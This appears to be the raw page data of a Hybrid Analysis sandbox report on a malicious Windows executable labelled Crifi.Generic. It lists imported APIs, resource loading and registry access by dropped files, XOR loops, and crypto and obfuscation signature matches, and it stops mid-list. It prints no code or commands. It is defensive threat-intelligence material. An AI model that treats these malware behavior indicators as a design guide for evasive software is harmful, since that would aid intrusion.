24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 71:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T47d,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Crifi.Generic Sample d14f3781a881… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample d14f3781a881…. Malware family: Crifi.Generic. Threat score 100/100. 14/28 AV engines flagged this file. 24 malicious and 27 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775","keywords":["Malicious","Crifi.Generic","malware analysis","sandbox report","threat intelligence","d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775"],"about":{"@type":"SoftwareApplication","name":"file","applicationCategory":["peexe","executable"],"identifier":"d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Crifi.Generic","antivirusDetections":{"malicious":14,"total":28},"behavioralIndicators":{"malicious":24,"suspicious":27},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T25c4,Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteFileA"; Source: "sample.bin"), Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "sample.bin"), Found reference to API (Indicator: "MulDiv"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileAttributesA"; Source: "sample.bin"), Found reference to API (Indicator: "SetForegroundWindow"; Source: "sample.bin"), Found reference to API (Indicator: "SeShutdownPrivilege"; Source: "sample.bin"), Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "sample.bin"), Found reference to API (Indicator: "GetExitCodeProcess"; Source: "sample.bin"), Found reference to API (Indicator: "FreeSid"; Source: "sample.bin"), Found reference to API (Indicator: "SetEvent"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "CreateDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "GetDriveTypeA"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalFree"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryA"; Source: "sample.bin"), Found reference to API (Indicator: "EqualSid"; Source: "sample.bin"), Found reference to API (Indicator: "CreateThread"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleW"; Source: "sample.bin"), Found reference to API (Indicator: "DecryptFileA"; Source: "sample.bin"), Found reference to API (Indicator: "RegQueryValueExA"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcessId"; Source: "sample.bin"), Found reference to API (Indicator: "RegSetValueExA"; Source: "sample.bin"), Found reference to API (Indicator: "FormatMessageA"; Source: "sample.bin"), Found reference to API (Indicator: "GetStartupInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "SetFileAttributesA"; Source: "sample.bin"), Found reference to API (Indicator: "RegOpenKeyExA"; Source: "sample.bin"), Found reference to API (Indicator: "GetDesktopWindow"; Source: "sample.bin"), Found reference to API (Indicator: "CharNextA"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowPos"; Source: "sample.bin"), Found reference to API (Indicator: "ShowWindow"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemInfo"; Source: "sample.bin"), Found reference to API (Indicator: "SendMessageA"; Source: "sample.bin"), Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "sample.bin"), Found reference to API (Indicator: "VerQueryValueA"; Source: "sample.bin"), Found reference to API (Indicator: "DispatchMessageA"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowLongA"; Source: "sample.bin"), Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "sample.bin"), Found reference to API (Indicator: "FindFirstFileA"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcAddress"; Source: "sample.bin"), Found reference to API (Indicator: "CreateMutexA"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFileA"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "CheckTokenMembership"; Source: "sample.bin"), Found reference to API (Indicator: "SetFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "RegCloseKey"; Source: "sample.bin"), Found reference to API (Indicator: "GetTempPathA"; Source: "sample.bin"), Found reference to API (Indicator: "GetTokenInformation"; Source: "sample.bin"), Found reference to API (Indicator: "SizeofResource"; Source: "sample.bin"), Found reference to API (Indicator: "ResetEvent"; Source: "sample.bin"), Found reference to API (Indicator: "RemoveDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalLock"; Source: "sample.bin"), Found reference to API (Indicator: "FindClose"; Source: "sample.bin"), Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "sample.bin"), Found reference to API (Indicator: "GetTickCount"; Source: "sample.bin"), Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "GetDC"; Source: "sample.bin"), Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "sample.bin"), Found reference to API (Indicator: "SetFilePointer"; Source: "sample.bin"), Found reference to API (Indicator: "GetShortPathNameA"; Source: "sample.bin"), Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "sample.bin"), Found reference to API (Indicator: "TerminateThread"; Source: "sample.bin"), Found reference to API (Indicator: "FreeResource"; Source: "sample.bin"), Found reference to API (Indicator: "lstrcmpA"; Source: "sample.bin"), Found reference to API (Indicator: "ExitProcess"; Source: "sample.bin"), Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "sample.bin"), Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "sample.bin"), Found reference to API (Indicator: "GetVolumeInformationA"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentThreadId"; Source: "sample.bin"), Found reference to API (Indicator: "MessageBoxA"; Source: "sample.bin"), Found reference to API (Indicator: "SHBrowseForFolder"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleFileNameA"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcess"; Source: "sample.bin"), Found reference to API (Indicator: "CharUpperA"; Source: "sample.bin"), Found reference to API (Indicator: "LocalFree"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryExA"; Source: "sample.bin"), Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "sample.bin"), Found reference to API (Indicator: "RegDeleteValueA"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowRect"; Source: "sample.bin"), Found reference to API (Indicator: "CharPrevA"; Source: "sample.bin"), Found reference to API (Indicator: "GetDeviceCaps"; Source: "sample.bin"), Found reference to API (Indicator: "ReleaseDC"; Source: "sample.bin"), Found reference to API (Indicator: "HeapSetInformation"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowTextA"; Source: "sample.bin"), Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "sample.bin"), Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "sample.bin"), Found reference to API (Indicator: "EnableWindow"; Source: "sample.bin"), Found reference to API (Indicator: "PeekMessageA"; Source: "sample.bin"), Found reference to API (Indicator: "GetVersionExA"; Source: "sample.bin"), Found reference to API (Indicator: "LocalAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "CreateEventA"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalUnlock"; Source: "sample.bin"), Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "sample.bin"), Found reference to API (Indicator: "CompareStringA"; Source: "sample.bin"), Found reference to API (Indicator: "WriteFile"; Source: "sample.bin"), Found reference to API (Indicator: "Sleep"; Source: "sample.bin"), Found reference to API (Indicator: "LoadStringA"; Source: "sample.bin"), Found reference to API (Indicator: "LoadResource"; Source: "sample.bin"), Found reference to API (Indicator: "TerminateProcess"; Source: "sample.bin"), Found reference to API (Indicator: "CreateProcessA"; Source: "sample.bin"), Found reference to API (Indicator: "FreeLibrary"; Source: "sample.bin"), Found reference to API (Indicator: "SHGetPathFromIDList"; Source: "sample.bin"), Found reference to API (Indicator: "RegCreateKeyExA"; Source: "sample.bin"), Found reference to API (Indicator: "MessageBeep"; Source: "sample.bin"), Found reference to API (Indicator: "FindNextFileA"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowLongA"; Source: "sample.bin"), Found reference to API (Indicator: "ReadFile"; Source: "sample.bin"), Found reference to API (Indicator: "CallWindowProcA"; Source: "sample.bin"), Found reference to API (Indicator: "OpenProcessToken"; Source: "sample.bin"), Found reference to API (Indicator: "ExitWindowsEx"; Source: "sample.bin"), Found reference to API (Indicator: "GetTempFileNameA"; Source: "sample.bin"), Found reference to API (Indicator: "GetVersion"; Source: "sample.bin"), Found reference to API (Indicator: "GetLastError"; Source: "sample.bin"), Found reference to API (Indicator: "LockResource"; Source: "sample.bin"), Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemMetrics"; Source: "sample.bin"), Found reference to API (Indicator: "WaitForSingleObject"; Source: "sample.bin"), Found reference to API (Indicator: "CloseHandle"; Source: "sample.bin"), Found reference to API (Indicator: "FindResourceA"; Source: "sample.bin")26:T599,"ro8sA21.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '9947248'}" (UID: 00000000-00005636) "ro8sA21.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '9947200'}" (UID: 00000000-00005636) "DO2BB55.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12765264'}" (UID: 00000000-00005660) "DO2BB55.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12765296'}" (UID: 00000000-00005660) "DO2BB55.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12765280'}" (UID: 00000000-00005660) "DO2BB55.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12765248'}" (UID: 00000000-00005660) "DO2BB55.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12765200'}" (UID: 00000000-00005660) "TK1xO34.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '2541680'}" (UID: 00000000-00005932) "TK1xO34.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '2541632'}" (UID: 00000000-00005932) "TK1xO34.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '2541584'}" (UID: 00000000-00005932) "4HS096BX.exe" called "LoadResource with parameter {'hModule': '1581842432', 'hResInfo': '1582883192'}" (UID: 00000000-00005984) "4HS096BX.exe" called "LoadResource with parameter {'hModule': '1581842432', 'hResInfo': '1582883176'}" (UID: 00000000-00005984)27:T9ae,"4HS096BX.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.4.0.SYSTEM.XAML__B77A5C561934E089") "4HS096BX.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER TYPES\TYPE 001") "4HS096BX.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER TYPES\TYPE 001") "4HS096BX.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT STRONG CRYPTOGRAPHIC PROVIDER") "4HS096BX.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT STRONG CRYPTOGRAPHIC PROVIDER") "4HS096BX.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY") "4HS096BX.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY") "4HS096BX.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OFFLOAD") "4HS096BX.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.4.0.PRESENTATIONCORE__31BF3856AD364E35") "4HS096BX.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.4.0.PRESENTATIONCORE__31BF3856AD364E35") "4HS096BX.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.4.0.UIAUTOMATIONTYPES__31BF3856AD364E35") "4HS096BX.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.4.0.UIAUTOMATIONTYPES__31BF3856AD364E35") "4HS096BX.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.4.0.SYSTEM.WINDOWS.INPUT.MANIPULATIONS__B77A5C561934E089") "4HS096BX.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.4.0.SYSTEM.WINDOWS.INPUT.MANIPULATIONS__B77A5C561934E089") "4HS096BX.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.4.0.UIAUTOMATIONPROVIDER__31BF3856AD364E35") "4HS096BX.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.4.0.UIAUTOMATIONPROVIDER__31BF3856AD364E35") "4HS096BX.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.4.0.REACHFRAMEWORK__31BF3856AD364E35") "4HS096BX.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.4.0.REACHFRAMEWORK__31BF3856AD364E35")28:T131e,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005660-21183-15-00C21F90 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005660-21183-15-00C21F90 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005660-21183-16-00C244B9 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005660-21183-16-00C244B9 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005660-21183-22-00C2681F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005660-21183-22-00C2681F Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005660-21183-26-00C224E0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005660-21183-26-00C224E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005660-21183-29-00C252B6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005660-21183-29-00C252B6 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00005660-21183-31-00C22390 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00005660-21183-31-00C22390 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005660-21183-33-00C22F1D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005660-21183-33-00C22F1D Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00005660-21183-36-00C23BA2 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00005660-21183-36-00C23BA2 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005660-21183-37-00C23FEF Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005660-21183-37-00C23FEF Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005660-21183-40-00C22267 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005660-21183-40-00C22267 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005660-21183-41-00C26495 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005660-21183-41-00C26495 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005660-21183-42-00C2202A Assembly shows XOR instruction xor eax 01h in Stream UID: 00000000-00005660-21183-42-00C2202A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005660-21183-42-00C2202A Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005660-21183-43-00C21AE8 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005660-21183-43-00C21AE8 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005660-21183-44-00C22AAC Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005660-21183-44-00C22AAC Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005660-21183-52-00C24EFD Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005660-21183-52-00C24EFD Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005660-21183-57-00C26298 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005660-21183-57-00C26298 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005660-21183-59-00C2621E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005660-21183-59-00C2621E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005660-21183-60-00C2597D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005660-21183-60-00C2597D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005660-21183-62-00C255A0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005660-21183-62-00C255A0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005660-21183-63-00C25467 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005660-21183-63-00C25467 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005660-21183-65-00C253A1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005660-21183-65-00C253A1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005660-21183-66-00C22630 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005660-21183-66-00C22630 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005660-21183-71-00C22CAA Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005660-21183-71-00C22CAA Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005660-21183-72-00C218A3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005660-21183-72-00C218A3 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005660-21183-73-00C217EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005660-21183-73-00C217EE29:T474,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains ability to decode base64 data Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains reference to crypto DLLs Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Able to decode string content at runtime (.NET) Matched sigs: Contains ability to perform crypto operations Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match - AES encryption2a:T34df,Found XOR loop in file "VH4vX77.exe" at offset 144790; code bytes = 30d0 Found XOR loop in file "VH4vX77.exe" at offset 199794; code bytes = 30d0 Found XOR loop in file "VH4vX77.exe" at offset 254477; code bytes = 30d0 Found XOR loop in file "VH4vX77.exe" at offset 337907; code bytes = 30d0 Found XOR loop in file "VH4vX77.exe" at offset 384695; code bytes = 30d0 Found XOR loop in file "VH4vX77.exe" at offset 491965; code bytes = 30d0 Found XOR loop in file "VH4vX77.exe" at offset 495523; code bytes = 30d0 Found XOR loop in file "VH4vX77.exe" at offset 610259; code bytes = 30d0 Found XOR loop in file "VH4vX77.exe" at offset 663119; code bytes = 30d0 Found XOR loop in file "VH4vX77.exe" at offset 674709; code bytes = 30d0 Found XOR loop in file "VH4vX77.exe" at offset 728658; code bytes = 30d0 Found XOR loop in file "VH4vX77.exe" at offset 729661; code bytes = 30d0 Found XOR loop in file "VH4vX77.exe" at offset 26031; code bytes = 33c1 Found XOR loop in file "VH4vX77.exe" at offset 142997; code bytes = 33c1 Found XOR loop in file "VH4vX77.exe" at offset 392234; code bytes = 33c1 Found XOR loop in file "VH4vX77.exe" at offset 404354; code bytes = 33c1 Found XOR loop in file "VH4vX77.exe" at offset 555385; code bytes = 33c1 Found XOR loop in file "VH4vX77.exe" at offset 643647; code bytes = 33c1 Found XOR loop in file "VH4vX77.exe" at offset 744377; code bytes = 33c1 Found XOR loop in file "VH4vX77.exe" at offset 90891; code bytes = 8030 Found XOR loop in file "VH4vX77.exe" at offset 102399; code bytes = 8030 Found XOR loop in file "VH4vX77.exe" at offset 103104; code bytes = 8030 Found XOR loop in file "VH4vX77.exe" at offset 145229; code bytes = 8030 Found XOR loop in file "VH4vX77.exe" at offset 213033; code bytes = 8030 Found XOR loop in file "VH4vX77.exe" at offset 276990; code bytes = 8030 Found XOR loop in file "VH4vX77.exe" at offset 364792; code bytes = 8030 Found XOR loop in file "VH4vX77.exe" at offset 476507; code bytes = 8030 Found XOR loop in file "VH4vX77.exe" at offset 583388; code bytes = 8030 Found XOR loop in file "VH4vX77.exe" at offset 728485; code bytes = 8030 Found XOR loop in file "VH4vX77.exe" at offset 730520; code bytes = 8030 Found XOR loop in file "ro8sA21.exe" at offset 242148; code bytes = 30d0 Found XOR loop in file "ro8sA21.exe" at offset 288912; code bytes = 30d0 Found XOR loop in file "ro8sA21.exe" at offset 396133; code bytes = 30d0 Found XOR loop in file "ro8sA21.exe" at offset 399691; code bytes = 30d0 Found XOR loop in file "ro8sA21.exe" at offset 514370; code bytes = 30d0 Found XOR loop in file "ro8sA21.exe" at offset 26031; code bytes = 33c1 Found XOR loop in file "ro8sA21.exe" at offset 296443; code bytes = 33c1 Found XOR loop in file "ro8sA21.exe" at offset 308563; code bytes = 33c1 Found XOR loop in file "ro8sA21.exe" at offset 459521; code bytes = 33c1 Found XOR loop in file "ro8sA21.exe" at offset 547733; code bytes = 33c1 Found XOR loop in file "ro8sA21.exe" at offset 556985; code bytes = 33c1 Found XOR loop in file "ro8sA21.exe" at offset 90891; code bytes = 8030 Found XOR loop in file "ro8sA21.exe" at offset 102399; code bytes = 8030 Found XOR loop in file "ro8sA21.exe" at offset 103104; code bytes = 8030 Found XOR loop in file "ro8sA21.exe" at offset 269025; code bytes = 8030 Found XOR loop in file "ro8sA21.exe" at offset 380683; code bytes = 8030 Found XOR loop in file "ro8sA21.exe" at offset 487507; code bytes = 8030 Found XOR loop in file "DO2BB55.exe" at offset 185714; code bytes = 30d0 Found XOR loop in file "DO2BB55.exe" at offset 300343; code bytes = 30d0 Found XOR loop in file "DO2BB55.exe" at offset 303901; code bytes = 30d0 Found XOR loop in file "DO2BB55.exe" at offset 369406; code bytes = 30d0 Found XOR loop in file "DO2BB55.exe" at offset 26031; code bytes = 33c1 Found XOR loop in file "DO2BB55.exe" at offset 212813; code bytes = 33c1 Found XOR loop in file "DO2BB55.exe" at offset 343474; code bytes = 33c1 Found XOR loop in file "DO2BB55.exe" at offset 347667; code bytes = 33c1 Found XOR loop in file "DO2BB55.exe" at offset 359492; code bytes = 33c1 Found XOR loop in file "DO2BB55.exe" at offset 378809; code bytes = 33c1 Found XOR loop in file "DO2BB55.exe" at offset 90891; code bytes = 8030 Found XOR loop in file "DO2BB55.exe" at offset 102399; code bytes = 8030 Found XOR loop in file "DO2BB55.exe" at offset 103104; code bytes = 8030 Found XOR loop in file "DO2BB55.exe" at offset 141743; code bytes = 8030 Found XOR loop in file "DO2BB55.exe" at offset 185387; code bytes = 8030 Found XOR loop in file "DO2BB55.exe" at offset 203845; code bytes = 8030 Found XOR loop in file "DO2BB55.exe" at offset 284901; code bytes = 8030 Found XOR loop in file "DO2BB55.exe" at offset 342261; code bytes = 8030 Found XOR loop in file "DO2BB55.exe" at offset 352603; code bytes = 8030 Found XOR loop in file "TK1xO34.exe" at offset 167184; code bytes = 30d0 Found XOR loop in file "TK1xO34.exe" at offset 187055; code bytes = 30d0 Found XOR loop in file "TK1xO34.exe" at offset 208060; code bytes = 30d0 Found XOR loop in file "TK1xO34.exe" at offset 26031; code bytes = 33c1 Found XOR loop in file "TK1xO34.exe" at offset 251321; code bytes = 33c1 Found XOR loop in file "TK1xO34.exe" at offset 90891; code bytes = 8030 Found XOR loop in file "TK1xO34.exe" at offset 102399; code bytes = 8030 Found XOR loop in file "TK1xO34.exe" at offset 103104; code bytes = 8030 Found XOR loop in file "TK1xO34.exe" at offset 198161; code bytes = 8030 Found XOR loop in file "4HS096BX.exe" at offset 128766; code bytes = 30d0 Found XOR loop in file "4HS096BX.exe" at offset 114245; code bytes = 33c1 Found XOR loop in file "4HS096BX.exe" at offset 114257; code bytes = 33c1 Found XOR loop in file "4HS096BX.exe" at offset 22183; code bytes = 8030 Found XOR loop in file "4HS096BX.exe" at offset 87715; code bytes = 8030 Found XOR loop in file "4HS096BX.exe" at offset 89497; code bytes = 8030 Found XOR loop in file "4HS096BX.exe" at offset 89539; code bytes = 8030 Found XOR loop in file "4HS096BX.exe" at offset 89641; code bytes = 8030 Found XOR loop in file "4HS096BX.exe" at offset 89701; code bytes = 8030 Found XOR loop in file "4HS096BX.exe" at offset 89917; code bytes = 8030 Found XOR loop in file "4HS096BX.exe" at offset 90055; code bytes = 8030 Found XOR loop in file "4HS096BX.exe" at offset 90289; code bytes = 8030 Found XOR loop in file "4HS096BX.exe" at offset 90529; code bytes = 8030 Found XOR loop in file "5Pa4Mj0.exe" at offset 84290; code bytes = 30d0 Found XOR loop in file "5Pa4Mj0.exe" at offset 81028; code bytes = 33c1 Found XOR loop in file "5Pa4Mj0.exe" at offset 126512; code bytes = 33c1 Found XOR loop in file "5Pa4Mj0.exe" at offset 220855; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 175203; code bytes = 30d0 Found XOR loop in file "2Pm6119.exe" at offset 177561; code bytes = 30d0 Found XOR loop in file "2Pm6119.exe" at offset 180167; code bytes = 30d0 Found XOR loop in file "2Pm6119.exe" at offset 2277; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 14582; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 61606; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 62635; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 63802; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 64591; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 65024; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 67145; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 67264; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 74357; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 74877; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 76728; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 77234; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 84189; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 86198; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 88343; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 88474; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 94955; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 96433; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 100134; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 100281; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 102156; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 103955; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 107448; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 110897; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 111437; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 